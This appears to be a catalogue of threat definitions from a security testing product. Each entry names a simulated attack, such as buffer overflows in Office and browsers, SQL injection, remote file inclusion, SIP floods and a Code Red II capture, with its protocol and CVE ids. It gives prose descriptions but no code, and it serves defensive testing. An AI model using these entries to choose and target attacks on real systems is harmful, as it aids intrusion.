Detailed Description:	This threat uploads a small PHP script that appears to be an image file. When used in conjunction with a directory traversal bug in this application, it can lead to remote code execution. AZGDDatingLite is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-2951
OSVDB:	19410
Threat Package:	Standard
Threat File Name:	IISXMLDEATH_IPv6.xml
Executive Description:	Microsoft IIS PROPFIND MS04-030 Denial of Service (IPv6 Version)
Detailed Description:	This threat causes Microsoft IIS server versions 5.0 and 6.0 to eat up a large amount of CPU and memory resources, causing a denial of service. This is caused by sending it a specifically crafted XML message which causes the parser to spend a long period of time dissecting it. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2003-0718
OSVDB:	10688
Threat Package:	Standard
Threat File Name:	IE-DOS_Embedded.xml
Executive Description:	Internet Explorer Recursive Object Inclusion
Detailed Description:	This threat causes a denial of service in Internet Explorer by recursively specifying the same HTML file in an OBJECT tag. This threat is a client attack that comes from the virtual server.
Protocol Type:	HTTP
Threat Package:	Standard

Threat File Name:	FSC20060706-06_Microsoft_Excel_for_Asian_Languages_Style_Handling_Buffer_Overflow.xml
Executive Description:	Microsoft Excel for Asian Languages Style Handling Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in numerous versions of Microsoft Excel. The flaw is caused by insufficient checks when handling the Style record of the document, resulting in a stack buffer overflow. An attacker can leverage this vulnerability by enticing a user to open a crafted Excel Spreadsheet document, thereby injecting and executing arbitrary code. The vendor has released an updated security bulletin addressing this issue in the 2006 October patch release cycle.
Protocol Type:	HTTP
CVEID:	CVE-2006-3431
Threat Package:	Standard
Threat File Name:	ms04-040_IPv6.xml
Executive Description:	MS04-040 Internet Explorer IFRAME Attack (IPv6 Version)
Detailed Description:	This threat attacks a buffer overflow in Internet Explorer's rendering capabilities of an IFRAME tag. Typically is used by a malicious web page to execute code on client machine. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2004-1050
OSVDB:	11337
Threat Package:	Standard
Threat File Name:	TSL20170314-23_Microsoft_MSXML_CVE-2017-0022_Information_Disclosure_IPv6.xml
Executive Description:	Microsoft MSXML CVE-2017-0022 Information Disclosure (IPv6 Version)
Detailed Description:	An information disclosure vulnerability has been reported in Microsoft XML Core Services (MSXML). This vulnerability is due to incorrect handling of objects in memory by MSXML. An attacker could exploit this vulnerability by enticing a user to visit a crafted website. By successfully exploiting this vulnerability, and attacker could check for the presence of specific files on disk.
Protocol Type:	HTTP,HTTPS,IPv6
CVEID:	CVE-2017-0022
Threat File Name:	sip_dos_IPv6.xml
Executive Description:	SIP Flood (IPv6 Version)
Detailed Description:	This threat sends out a flood of SIP INVITE messages attempting to cause a denial of service on SIP equipment. SIP typically listens on port 5060. (IPv6 Version)
Protocol Type:	SIP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20140411-11_Advantech_WebAccess_SCADA_webvact_ocx_AccessCode2_Buffer_Overflow_IPv6.xml
Executive Description:	Advantech WebAccess SCADA webvact.ocx AccessCode2 Buffer Overflow(IPv6 Version)
Detailed Description:	A stack buffer overflow exists in Advantech's WebAccess SCADA software. This is due to insufficient input validation on the AccessCode2 parameter of the webvact.ocx ActiveX control, a part of the WebAccess Client. A remote, unauthenticated attacker could exploit this vulnerability by enticing a vulnerable user to open a crafted web page. Successful exploitation could lead to code execution in the context of the target user.
Protocol Type:	HTTP,HTTPS,IPv6
CVEID:	CVE-2014-0768
OSVDB:	105567
Threat File Name:	TSL20140311-08_Microsoft_Windows_DirectShow_JPEG_Double_Free.xml
Executive Description:	Microsoft Windows DirectShow JPEG Double Free
Detailed Description:	A double free vulnerability has been reported in Microsoft Windows DirectShow. The vulnerability is due to the way DirectShow handles JPEG images. A remote attacker can exploit this vulnerability by enticing a user to download and process a maliciously crafted JPEG file. This can lead to code execution in the context of the affected user
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2014-0301
OSVDB:	104316
Threat File Name:	TSL20120404-06_Cisco_WebEx_Recording_Format_Player_atd12006_dll_Buffer_Overflow_IPv6.xml
Executive Description:	Cisco WebEx Recording Format Player atd12006.dll Buffer Overflow
Detailed Description:	A code execution vulnerability exists in Cisco WebEx Recording Format (WRF) Player. This vulnerability is due to a buffer overflow when WRF player handles WRF files. A remote attacker can leverage this vulnerability by crafting a WRF file and enticing a target user to view the malicious file. Successful exploitation would result in execution of arbitrary code on the target host in the context of the application.
Protocol Type:	IPv6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS,NFS
CVEID:	CVE-2012-1335
OSVDB:	81104
Threat File Name:	mpcs_rfi_IPv6.xml
Executive Description:	Multi-Page Comment System Path Parameter Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. MPCS is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-5624
Threat Package:	Standard
Threat File Name:	FSC20100716-07_Novell_GroupWise_Internet_Agent_IMAP_Service_Stack_Buffer_Overflow.xml
Executive Description:	Novell GroupWise Internet Agent IMAP Service Stack Buffer Overflow

Detailed Description:	A buffer overflow vulnerability exists in Novell GroupWise Internet Agent. The vulnerability is within the IMAP component of the GroupWise Internet Agent service and is due to a boundary error while handling provided mailbox name for the CREATE command. An authenticated attacker could exploit this vulnerability by sending a crafted message to the server. Successful exploitation of this vulnerability could allow for a denial of service condition of the affected service, or the injection and execution of arbitrary code on the target system with System-level privileges.
Protocol Type:	IMAP
Threat File Name:	TSL20140411-11_Advantech_WebAccess_SCADA_webvact.ocx_AccessCode2_Buffer_Overflow.xml
Executive Description:	Advantech WebAccess SCADA webvact.ocx AccessCode2 Buffer Overflow
Detailed Description:	A stack buffer overflow exists in Advantech's WebAccess SCADA software. This is due to insufficient input validation on the AccessCode2 parameter of the webvact.ocx ActiveX control, a part of the WebAccess Client. A remote, unauthenticated attacker could exploit this vulnerability by enticing a vulnerable user to open a crafted web page. Successful exploitation could lead to code execution in the context of the target user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2014-0768
OSVDB:	105567
Threat File Name:	efiction_sqli.xml
Executive Description:	eFiction authors.php SQL Injection
Detailed Description:	This threat sends a crafted URL that contains an SQL query that is executed by the server. eFiction is an web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-4169
OSVDB:	21120
Threat File Name:	TSL20170613-28_Microsoft_Windows_PDF_Library_JPEG2000_Parsing_Out_of_Bounds_Write.xml
Executive Description:	Microsoft Windows PDF Library JPEG2000 Parsing Out of Bounds Write
Detailed Description:	An out-of-bounds write vulnerability has been reported in the JPEG2000 component of the PDF library in Microsoft Windows. The vulnerability is due to improper validation of embedded JPEG2000 streams. A remote attacker could exploit this vulnerability by enticing a victim user to open a webpage or a PDF file with specially crafted JPEG2000 image. Successful exploitation would allow the attacker to corrupt memory and potentially execute arbitrary code under the context of the current user.
Protocol Type:	HTTP,HTTPS,IMAP,SMB/CIFS,POP3,FTP
CVEID:	CVE-2017-0291
Threat File Name:	hpqutil_activex_heapoverflow_IPv6.xml
Executive Description:	ActiveX hpqutil!ListFiles hpqutil.dll - Remote heap overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in Multiple HP products (HPQUTIL.DLL) ActiveX application, resulting in the overwritingof arbitrary files or code execution. This threat is delived via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-4916
Threat Package:	Standard
Threat File Name:	fuzz-IP_TTL_IPv6.xml
Executive Description:	Fuzzer for Protocol:IP and Field:TTL (IPv6 Version)
Detailed Description:	(IPv6 Version)
Protocol Type:	IP/IPv6
Threat Package:	Fuzzing
Threat File Name:	TSL20150526-14_Arcserve_Unified_Data_Protection_Management_Service_getBackupPolicy_Information_Disclosure.xml
Executive Description:	Arcserve Unified Data Protection Management Service getBackupPolicy Information Disclosure
Detailed Description:	An information disclosure vulnerability exists in Arcserve Unified Data Protection (UDP). This vulnerability exists in EdgeServiceImpl and is due to insufficient input validation of certain SOAP requests using the getBackupPolicy method. Tester should set the variable \$destPort to 8015 before test.
Protocol Type:	HTTP
CVEID:	CVE-2015-4069
Threat File Name:	Netbios_UDP_DOS.xml
Executive Description:	NetBIOS Denial of Service (WinNuke)
Detailed Description:	This threat sends a large amount of data at UDP port 137. Causes older implementations of Microsoft Windows to use 100% CPU and crash the NetBIOS service.
Protocol Type:	NETBIOS_NS
CVEID:	CVE-1999-0153
OSVDB:	1666
Threat Package:	Standard
Threat File Name:	TSL20120612-07_Microsoft_Multiple_Products_HTML_Sanitization_Cross-Site_Scripting_IPv6.xml
Executive Description:	Microsoft Multiple Products HTML Sanitization Cross-Site Scripting(IPV6 Version)
Detailed Description:	A cross-site scripting vulnerability exists in Microsoft Internet Explorer, Microsoft Lync and Microsoft Office Communicator. The flaw is due to the way that the SafeHTML feature sanitizes HTML. Remote attackers can exploit this vulnerability by enticing a target user to view a web page that uses this API. In a successful attack, a remote attacker can leverage this vulnerability to execute script code in the target user's web browser in the context of a trusted web page, or execute script code in the target user's instant messenger window.
Protocol Type:	IPV6,HTTP,HTTPS,SIP
CVEID:	CVE-2012-1858
OSVDB:	82861
Threat File Name:	TSL20170124-08_Quagga_VTY_Interface_Denial_of_Service.xml
Executive Description:	Quagga VTY Interface Denial of Service

Detailed Description:	A denial-of-service vulnerability has been discovered in Quagga. The vulnerability is due to an input validation error in the Quagga VTY service. A remote attacker can exploit this vulnerability by sending data without a newline character to a Quagga daemon's VTY interface. Successful exploitation would cause the target Quagga daemon to allocate excessive memory and crash, resulting in denial-of-service conditions.
Protocol Type:	Telnet
CVEID:	CVE-2017-5495
Threat File Name:	gnuturk_sqli.xml
Executive Description:	GNUTurk T_ID Parameter SQL Injection Vulnerability
Detailed Description:	This threat sends a crafted URL that contains an SQL query which is executed by the server. GnuTurk is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	ms05-020.xml
Executive Description:	MS05-020 Internet Explorer Overflow
Detailed Description:	This threat is a buffer overflow attack on the DHTML component of Microsoft Internet Explorer. If viewed by a susceptible webbrowser, it can lead to arbitrary code execution. This threat is a client attack that comes from the virtual server.
Protocol Type:	HTTP
CVEID:	CVE-2005-0553
OSVDB:	15465
Threat Package:	Standard
Threat File Name:	TSL20170220-01_Trend_Micro_Control_Manager_dlp_policy.php_Directory_Traversal_IPv6.xml
Executive Description:	Trend Micro Control Manager dlp_policy.php Directory Traversal (IPv6 Version)
Detailed Description:	A directory traversal vulnerability has been reported in Trend Micro Control Manager. This vulnerability is caused by improper sanitization of directory traversal characters (...) by dlp_policy.php. A remote, unauthenticated attacker could exploit this vulnerability by sending crafted HTTPS requests to the vulnerable server. Successful exploitation results in remote code execution under the security context the Trend Micro Control Manager user.
Protocol Type:	HTTPS, IPv6
Threat File Name:	coderedII.xml
Executive Description:	Code Red II Worm
Detailed Description:	This threat is an exact packet capture of the Code Red II Worm. The vulnerability is described in MS01-033. It will infect vulnerable hosts and start spreading.
Protocol Type:	HTTP
CVEID:	CVE-2001-0500
OSVDB:	568
Threat Package:	Standard
Threat File Name:	FSC20060613-22_Microsoft_Exchange_Server_Outlook_Web_Access_Script_Injection.xml
Executive Description:	Microsoft Exchange Server Outlook Web Access Script Injection
Detailed Description:	A script injection vulnerability exists in Microsoft Exchange Servers running Outlook Web Access. The vulnerability is caused by improper sanitization of e-mail messages which contain script code when they are read through Outlook Web Access. A malicious user may exploit this flaw to inject and execute HTML and script code in the security context of the target user's browser session.
Protocol Type:	SMTP
CVEID:	CVE-2006-1193
Threat Package:	Standard
Threat File Name:	TSL20150408-04_Novell_ZENworks_Configuration_Management_UploadServlet_Directory_Traversal_IPv6.xml
Executive Description:	Novell ZENworks Configuration Management UploadServlet Directory Traversal IPv6 version.
Detailed Description:	A directory traversal vulnerability exists in Novell ZENworks Configuration Management. The vulnerability is due to insufficient input validation within the ZENworks Server's UploadServlet. Remote unauthenticated attackers can leverage this vulnerability to upload malicious files anywhere onto the target server. Successful exploitation of this vulnerability allows an attacker to execute arbitrary code on the vulnerable system with administrative privileges.
Protocol Type:	HTTP/HTTPS. IPv6
CVEID:	CVE-2015-0779
Threat File Name:	http_options_IPv6.xml
Executive Description:	HTTP OPTIONS Probe (IPv6 Version)
Detailed Description:	This threat issues out a HTTP OPTIONS request, attempting to find out what capabilities the webserver has (ie, webdav, proxy, etc). This is normally used to determine which attack to launch next. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2002-0240
OSVDB:	3565
Threat Package:	Standard
Threat File Name:	FSC20100608-40_HP_OpenView_NNM_ovutil.dll_getProxiedStorageAddress_Buffer_Overflow.xml
Executive Description:	HP OpenView NNM ovutil.dll getProxiedStorageAddress Buffer Overflow
Detailed Description:	A code execution vulnerability exists in HP OpenView Network Node Manager (NNM). The vulnerability is due to a boundary error in ovutil.dll module which is loaded by the ovwebsnmprsv.exe when processing requests sent by jovgraph.exe CGI program from a crafted HTTP request. A remote unauthenticated attacker can exploit this vulnerability by sending a crafted HTTP request to a target server, potentially causing arbitrary code to be injected and executed in the security context of the ovwebsnmprsv.exe process.
	In an attack scenario, where arbitrary code is injected and executed on the target machine, the behavior of the target is dependent on the intention of the malicious code.
Protocol Type:	HTTP
CVEID:	CVE-2010-1961
Threat Package:	Standard
Threat File Name:	WebDAV_rs_IPv6.xml
Executive Description:	WebDAV IIS Exploit (IPv6 Version)

Detailed Description:	This threat is an exploit against the IIS WebDAV flaw. Attempts to create a remote shell on the target machine. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2003-0109
OSVDB:	4467
Threat Package:	Standard
Threat File Name:	xmplay_rbof_IPv6.xml
Executive Description:	XMPlay Playlist Files Remote Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat leverages a flaw in XMPlay via malicious .pls files to allow for arbitrary code to executed on a client system. XMplay is a media player and can play .pls files served by web servers listening on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20110902-04_MPlayer_for_Windows_Calloc_Integer_Overflow.xml
Executive Description:	MPlayer for Windows Calloc Integer Overflow
Detailed Description:	An integer overflow vulnerability has been reported in the MPlayer for Win32 project's port of the MPlayer media player. The integer overflow is due to a unchecked multiplication of two size values in a "calloc" replacement function. A remote attacker could exploit this vulnerability by enticing a target user to open a specially crafted media file in a vulnerable version of MPlayer. Successful exploitation could allow the execution of arbitrary code in the security context of the target user. An unsuccessful exploitation attempt could result in a denial of service condition.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
Threat File Name:	FSC20080602-04_Alt-N_Technologies_SecurityGateway_username_Buffer_Overflow.xml
Executive Description:	Alt-N Technologies SecurityGateway username Buffer Overflow
Detailed Description:	A stack-based buffer overflow vulnerability exists in Alt-N Technologies SecurityGateway. The vulnerability is due to a boundary error in the processing of HTTP requests sent to the administrative web interface. A remote unauthenticated attacker can exploit this vulnerability by sending a specially crafted HTTP POST request to the target server, potentially causing arbitrary code injection and execution with the privileges of the affected process, normally System.
Protocol Type:	TCP
Threat Package:	Standard
Threat File Name:	irsr_rfi_IPv6.xml
Executive Description:	Invisionix Roaming System Remote Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Invisionix Roaming System Remote is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	phplive_rfi.xml
Executive Description:	PHP Live Css_Path Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted HTTP query containing the path for a remote malicious PHP file to include in the returned page and executed in the context of the webserver process .PHP Live! is an web application that typically listens on port 80
Protocol Type:	HTTP
OSVDB:	27448
Threat Package:	Standard
Threat File Name:	exophpdesk_rfi.xml
Executive Description:	ExoPHPDesk <= 1.2.1 (faq.php) Remote SQL Injection Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. ExoPHPDesk is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20060306-01_Microsoft_Visual_Studio_dbp_and_sln_File_Handling_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Visual Studio dbp and sln File Handling Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a stack based buffer overflow vulnerability in Microsoft Visual Studio. The flaw is caused by improper boundary checks when processing overly long project name strings contained in Database Project (.dbp) files and Solution (.sln) files. An attacker exploiting this vulnerability can inject and execute arbitrary code within the security context of the currently logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-1043
Threat Package:	Standard
Threat File Name:	TSL20150323-08_Unzip_Extra_Field_Uncompressed_Size_Buffer_Overflow_IPv6.xml
Executive Description:	Unzip Extra Field Uncompressed Size Buffer Overflow IPv6 version.
Detailed Description:	A buffer overflow vulnerability exists in Info-ZIP UnZip tool. The vulnerability is due to insufficient bounds checking on user-supplied input while handling ZIP files. Specifically, a crafted ZIP archive containing uncompressed size in extra fields that are smaller than the corresponding compressed data sizes in the archive file will trigger a heap buffer overflow. A remote unauthenticated attacker can exploit these vulnerabilities by enticing a target user to open a crafted ZIP archive with the "-t" option. Successful exploitation would crash the program, resulting in a denial of service condition or possibly arbitrary code execution.
Protocol Type:	HTTP/HTTPS/SMB/CIFS/IMAP/POP2/SMTP,IPv6
CVEID:	CVE-2014-9636
OSVDB:	114423
Threat File Name:	FSC20080409-19_IBM_Lotus_Notes_Applix_Graphics_Parsing_Buffer_Overflow.xml
Executive Description:	IBM Lotus Notes Applix Graphics Parsing Buffer Overflow

Detailed Description:	A stack buffer overflow vulnerability exists in IBM Lotus Notes. The vulnerability is a result of insufficient boundary checking while parsing Applix Graphics documents. A remote attacker can exploit this vulnerability by persuading the target user to perform certain operation upon a crafted Applix Graphics document, potentially causing arbitrary code to be injected and executed on the target system in the security context of the current user. In an attack case where code injection is not successful, all instances of the vulnerable IBM Lotus Notes application will terminate. In a more sophisticated attack scenario where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the current user. The affected application would also most likely stop functioning as a result of such an attack.
Protocol Type:	IMAP/NetBIOS/Notes Remote Procedure Call/POP3/SMTP
CVEID:	CVE-2007-5405
Threat Package:	Standard
Threat File Name:	flashplayer_swf_rexec_IPv6.xml
Executive Description:	Adobe Flash Player SWF File Handling Remote Code Execution Vulnerability (IPv6 Version)
Detailed Description:	This threat uses a crafted SWF file to execute arbitrary code via a flaw in Adobe Flash Player 9.0.45.0 and earlier. This threat is uses an emulated web server listening on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-3456
Threat Package:	Standard
Threat File Name:	ie6_dos2.xml
Executive Description:	Internet Explorer 6.0.2900 SP2 Denial of Service Vulnerability
Detailed Description:	This server based threat delivers an HTML payload via HTTP an unhandled exception occurs when the "position" CSS attribute is set to a table. Internet Explorer is a web browsing application which typically connects to hosts on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-1719
Threat Package:	Standard
Threat File Name:	gstsearch.xml
Executive Description:	gststring WAP Probe
Detailed Description:	This threat causes vulnerable wireless access points to reply back with system details, possibly including WEP encryption keys and admin username and passwords. This is done by sending a broadcast UDP packet with the string gstsearch set as the payload. Vulnerable equipment includes any wireless access point created with Global Sun Tech chips.
Protocol Type:	UDP
CVEID:	CVE-2002-2137
Threat Package:	Standard
Threat File Name:	FSC20070814-05_Microsoft_Excel_Workspace_Index_Value_Memory_Corruption.xml
Executive Description:	Microsoft Excel Workspace Index Value Memory Corruption
Detailed Description:	There exists a memory corruption vulnerability in the way Microsoft Excel processes files. The vulnerability is a result of insufficient data validation while processing an index value in a certain BIFF record. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted Excel file, potentially causing arbitrary code to be injected and executed in the security context of the current user.
Protocol Type:	HTTP
CVEID:	CVE-2007-3890
Threat Package:	Standard
Threat File Name:	TSL20131205-03_GIMP_XWD_File_Handling_Heap_Buffer_Overflow.xml
Executive Description:	GIMP XWD File Handling Heap Buffer Overflow
Detailed Description:	A heap buffer overflow vulnerability leading to code execution has been reported in GNU Image Manipulation Program (GIMP). The vulnerability is due to insufficient validation of certain fields while parsing XWD files. Remote attackers can exploit this vulnerability by enticing the target user to open a malicious XWD file. Successful exploitation could result in injection and execution of arbitrary code, within the security context of the current logged in user. The behaviour of the target would depend on the intention of the malicious code. If code injection is not successful, the affected application will terminate abnormally.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP,NFS
CVEID:	CVE-2013-1978
Threat File Name:	ms03-049-1.xml
Executive Description:	MS03-049 Buffer Overflow in RPC Logging Functions
Detailed Description:	This threat sends a large name in an attempt to get the Microsoft RPC service to overflow due to a bad string copy.
Protocol Type:	SMB
CVEID:	CVE-2003-0812
OSVDB:	11461
Threat Package:	Standard
Threat File Name:	anthologia_rfi_IPv6.xml
Executive Description:	Anthologia 0.5.2 (index.php ads_file) Remote File Inclusion Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Anthologia is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	phpworm1.xml
Executive Description:	phpinclude.worm Attack 1
Detailed Description:	This threat attacks a common programming mistake in PHP. The PHP include worm attacks using a generic form of this attack. This is a sample of one version of this worm.
Protocol Type:	HTTP
Threat Package:	Standard

Threat File Name:	TSL20130417-24_Oracle_Document_Capture_ActiveX_Control_SetAnnotationFont_Buffer_Overflow_IPv6.xml
Executive Description:	Oracle Document Capture ActiveX Control SetAnnotationFont Buffer Overflow [IPv6, Version]
Detailed Description:	A buffer overflow vulnerability exists in the BlackIceDevMode.ocx ActiveX control included with Oracle Document Capture. The vulnerability is due to improper bounds checking while parsing the arguments passed to the SetAnnotationFont() method. Remote attackers can exploit this vulnerability by enticing target users to visit a malicious web page. Successful exploitation could lead to injection and execution of arbitrary code on the target system with the privileges of the logged in user.
Protocol Type:	IPv6, HTTP, HTTPS
CVEID:	CVE-2013-1516
OSVDB:	92387
Threat File Name:	IPv6randomFlow_IPv6.xml
Executive Description:	IPv6 Random Priority and Flow Label (IPv6 Version)
Detailed Description:	This threat sends out random priorities and flow labels in a packet with a length of 1 byte. (IPv6 Version)
Protocol Type:	IPv6/IPv6
Threat Package:	Standard
Threat File Name:	TSL20170320-01_Mozilla_Firefox_createImageBitmap_Integer_Overflow_IPv6.xml
Executive Description:	Mozilla Firefox createImageBitmap Integer Overflow (IPv6 Version)
Detailed Description:	An integer overflow exists in Mozilla Firefox. The vulnerability is due to an overly large value of image offset, length and layout arguments of createImageBitmap method. A remote attacker could exploit this vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to information disclosure or potential remote code execution in the security context of the target user.
Protocol Type:	HTTP,HTTPS,IPv6
CVEID:	CVE-2017-5428
Threat File Name:	popper_rfil.xml
Executive Description:	Ractive Popper Childwindow.Inc.PHP Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Popper is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	sipmultipleto_IPv6.xml
Executive Description:	SIP Multiple To: Headers (IPv6 Version)
Detailed Description:	This threat sends out a SIP INVITE message with multiple To: headers. This may confuse or crash a PBX that isn't very robust. (IPv6 Version)
Protocol Type:	SIP/IPv6
Threat Package:	VoIP
Threat File Name:	fuzz-HTTP_AppendformatsToCONNECT_IPv6.xml
Executive Description:	Fuzz HTTP CONNECT appended by %s (IPv6 Version)
Detailed Description:	Fuzzes the Method field appending by %s (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	FSC20070409-05_Microsoft_Word_TextBox_Sub-document_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Word TextBox Sub-document Memory Corruption (IPv6 Version)
Detailed Description:	There exist a memory corruption vulnerability in Microsoft Word. The vulnerability is due to improper processing of specially crafted Microsoft Word documents. A remote attacker can exploit this vulnerability by enticing a target user to open a malicious file. Successful exploitation may allow arbitrary code execution in the security context of the logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-1910
Threat Package:	Standard
Threat File Name:	TSL20161213-23_Microsoft_Edge_TypedArray.sort_Use_After_Free.xml
Executive Description:	Microsoft Edge TypedArray.sort Use After Free
Detailed Description:	A use-after-free vulnerability exists in Microsoft Edge. This vulnerability is due to an error while handling objects in memory when processing HTML and script code. A remote attacker could exploit this vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP, HTTPS
CVEID:	CVE-2016-7288
Threat File Name:	TSL20130108-02_Microsoft_XML_Core_Services_Integer_Truncation_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft XML Core Services Integer Truncation Memory Corruption(IPV6 Version)
Detailed Description:	A memory corruption vulnerability exists in Microsoft XML Core Services. The vulnerability is due to an integer truncation error while Microsoft XML Core Services parses XML content. Remote attackers could exploit this vulnerability by persuading a target user to visit a specially crafted website. Successful exploitation could allow arbitrary code execution in the context of current user.
Protocol Type:	IPV6,HTTP,HTTPS
CVEID:	CVE-2013-0006
OSVDB:	88959
Threat File Name:	TSL20130917-05_Microsoft_Internet_Explorer_CVE-2013-3163_Use_After_Free_IPv6.xml
Executive Description:	Microsoft Internet Explorer CVE-2013-3163 Use After Free [IPv6, Version]

Detailed Description:	A use-after-free vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to improperly freeing a child element such as CAnchorElement and trying to access the freed object later. A remote attacker could exploit these vulnerabilities by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user.
Protocol Type:	IPv6, HTTP, HTTPS
CVEID:	CVE-2013-3163
OSVDB:	94981
Threat File Name:	sipcanceflood_IPv6.xml
Executive Description:	SIP CANCEL Flood (IPv6 Version)
Detailed Description:	This threat sends out a flood of SIP CANCEL packets, attempting to overwhelm either a PBX or a VoIP phone. (IPv6 Version)
Protocol Type:	SIP/IPv6
Threat Package:	VoIP
Threat File Name:	FSC20090402-10_Microsoft_Office_PowerPoint_Invalid_Object_Reference_Code_Execution.xml
Executive Description:	Microsoft Office PowerPoint Invalid Object Reference Code Execution
Detailed Description:	A memory corruption vulnerability exists in Microsoft Office PowerPoint. The flaw is due to accessing invalid object in malicious PowerPoint (PPT) documents. An attacker could exploit this vulnerability by persuading the target user to open a specially crafted PowerPoint document. In an attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The injected code in such a case would execute within the security context of the logged in user. In an attack case where code injection is not successful, the affected application will terminate abnormally, potentially resulting in loss of unsaved data.
Protocol Type:	HTTP/FTP/SMTP/IMAP/POP3/SMB/CIFS
CVEID:	CVE-2009-0556
Threat Package:	Standard
Threat File Name:	FSC20110128-01_Realplayer_vidplin_dll_AVI_Header_Parsing_Code_Execution.xml
Executive Description:	Realplayer vidplin.dll AVI Header Parsing Code Execution
Detailed Description:	A vulnerability has been reported in RealNetworks's Realplayer. The vulnerability is due to a claimed buffer overflow within vidplin.dll while parsing stream headers is an AVI file. Reportedly user supplied data is copied into a buffer without verifying the length of the buffer leading to a buffer overflow. An attacker can exploit this vulnerability by enticing a user to download and open a specially crafted file. This can reportedly lead to code execution in the context of the affected application. Note that TELUS Security Labs could not confirm the heap based buffer overflow and according to the findings the vulnerability appears to be a client DoS
Protocol Type:	HTTP, HTTPS, IMAP, POP3, SMTP, SMB/CIFS, NFS
CVEID:	CVE-2010-4393
Threat File Name:	TSL20140314-08_Lighttpd_Host_Header_mod_simple_vhost_Directory_Traversal.xml
Executive Description:	Lighttpd Host Header mod_simple_vhost Directory Traversal
Detailed Description:	An information disclosure vulnerability exists in Lighttpd Web Server. The vulnerability is due to insufficient sanitization of user supplied input in the <italic>Host</italic> header field of a request. When the <italic>mod_simple_vhost</italic> module is enabled, the <italic>Host</italic> header field data can be used to cause directory traversal. A remote unauthenticated attacker could exploit this vulnerability by placing specially crafted data in the Host header field of a request. Successful exploitation could allow an attacker to download sensitive files.
Protocol Type:	HTTP, HTTPS
CVEID:	CVE-2014-2324
OSVDB:	104382
Threat File Name:	eiq_licserver_rbof.xml
Executive Description:	eIQnetworks Enterprise Security Analyzer License Manager Remote Buffer Overflow Vulnerability
Detailed Description:	This threat sends a malicious payload to execute on vulnerable installations of eIQnetworks Enterprise Security Analyzer via a flaw in EnterpriseSecurityAnalyzer.exe. eIQnetworks Enterprise Security Analyzer License Server is a server application that typically listens on TCP port 10616.
Protocol Type:	Proprietary
CVEID:	CVE-2006-3838
OSVDB:	27526
Threat Package:	Standard
Threat File Name:	ipv6_random_length.xml
Executive Description:	IPv6 Random Length Field
Detailed Description:	This threat sends an IPv6 ICMP ping packet, with the length specifier set to random. In poor stack implementations it is possible this may cause a buffer overrun.
Protocol Type:	IPv6
Threat Package:	Standard
Threat File Name:	ms06_040.xml
Executive Description:	Microsoft Windows Server Service Remote Buffer Overflow Vulnerability
Detailed Description:	This threat uses sends malicious RPC requests to a computer running a vulnerable Microsoft Windows Server Service. Microsoft Windows Server Service typically listens on port 139.
Protocol Type:	NETBIOS_SS
CVEID:	CVE-2006-3439
Threat Package:	Standard
Threat File Name:	wireshark_dnp3_dos_IPv6.xml
Executive Description:	Wireshark < 0.99.5 DNP3 Dissector Denial of Service Vulnerability (IPv6 Version)
